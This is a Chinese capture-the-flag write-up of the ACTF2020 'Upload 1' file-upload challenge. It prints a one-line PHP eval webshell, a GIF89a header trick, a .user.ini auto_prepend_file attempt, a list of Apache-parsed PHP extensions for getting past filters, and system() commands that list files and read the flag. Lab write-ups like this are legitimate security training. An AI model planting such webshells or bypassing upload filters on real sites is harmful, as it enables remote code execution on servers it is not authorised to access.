当前位置: 首页 > news >正文

[ACTF2020]Upload 1--详细解析

信息收集

题目告诉我们是一道upload,也就是文件上传漏洞题目。
进入界面,是一个灯泡,将鼠标放在图标上就会出现文件上传的相应位置:
在这里插入图片描述

思路

文件上传漏洞,先看看有没有前端校验。
在js源码中找到了前端校验:
在这里插入图片描述也就是只能上传jpg,png,gif后缀的文件。

先准备一个最基本的一句话木马:

//shell.php
GIF89a //这里是为了绕过可能存在的文件头检测
<?php @eval($_POST[1])?>

修改为.png后缀,上传并抓包修改回php后缀
在这里插入图片描述
注意左上角,返回的内容是nonono~ Bad file!

此时有两种可能,一种是后端对文件后缀进行了过滤;第二种是对文件内容进行了过滤。

如果我们不修改后缀将.png文件直接上传:
在这里插入图片描述
会发现左上角显示上传成功。

Upload Success! Look here~
./uplo4d/00bf23e130fa1e525e332ff03dae345d.png

说明后端对文件内容没有被过滤,被过滤的是后缀名

既然后缀名被过滤,我们考虑上传.user.ini文件将成功上传的文件以PHP代码形式解析:

//.user.ini
GIF89a
auto_prepend_file=00bf23e130fa1e525e332ff03dae345d.png

同样是修改为.png绕过前端校验与MIME验证,再抓包改回来。
在这里插入图片描述

Upload Success! Look here~
./uplo4d/7356ccb66a890ccd51ee57dc56bb134c.ini

这里注意.user.ini文件名上传后被修改为7356ccb66a890ccd51ee57dc56bb134c.ini,那么.user.ini就不能发挥作用了,所以上传.user.ini配置文件的方法失败。

这里学习一个新知识点:
在Apache中,以下后缀名都会被服务器解析为PHP文件:

phtml
php
php3
php4
php5
inc
//下面是对上面的大小写混写绕过
pHtml
pHp
pHp3
pHp4
pHp5
iNc

我们抓包测试一下这些后缀名,看看有没有能上传成功的:
在这里插入图片描述
发现html和php的大小写混写都能绕过。

先试了php的大小写混写,确实能上传,但是访问时依然显示解析出错。
还是上传了phtml文件,进入后发现成功访问!
在这里插入图片描述

1=system("ls /");
1=system("tac /flag");

得到flag.

总结

学到了Apache下的php后缀名解析漏洞,今后在面对后端后缀名过滤时又多了一种解决方法。

http://www.lryc.cn/news/486232.html

相关文章:

  • 【微软:多模态基础模型】(3)视觉生成
  • 整合Druid
  • 基于Python空气质量可视化及预测
  • 第1章-PostgreSQL(PG)介绍
  • moduo之阻塞队列BlockingQueue和BoundedBlockingQueue
  • 大模型Tuning方法详解
  • 爬虫策略与反爬机制——爬虫常见策略
  • Linux基础(十七)——Linux 帐号管理与 ACL 权限设置
  • 【HarmonyOS】鸿蒙系统在租房项目中的项目实战(二)
  • 11.16 Vue element
  • Gin 框架中的路由
  • 在MATLAB中实现自适应滤波算法
  • linux文件与重定向
  • 基于Python的仓库管理系统设计与实现
  • 【Pikachu】URL重定向实战
  • C语言实现3D动态爱心图形的绘制与动画效果
  • 深入理解Nginx:从基础配置到高级优化
  • ONLYOFFICE8.2版本测评,团队协作的办公软件
  • spring 和 grpc 的整合
  • 企业项目级IDEA设置类注释、方法注释模板(仅增加@author和@date)
  • 1 设计模式原则之开闭原则
  • 前端大环境
  • Electron: 主进程和渲染进程之间通信
  • 社交电商的优势及其与 AI 智能名片小程序、S2B2C 商城系统的融合发展
  • 蓝桥杯c++算法学习【4】之简单数论(阶乘约数、求值、循环小数、等差数列、最大比例:::非常典型的必刷例题!!!)
  • 重构代码之删除对参数的赋值
  • Docker的基本概念、安装步骤以及一些简单的用法
  • VuePress v2 快速搭建属于自己的个人博客网站
  • shell编程--永久环境变量和字符串显位
  • 【优选算法篇】算法江湖中的碎玉拾光——C++模拟题全解,踏步逐章细细品味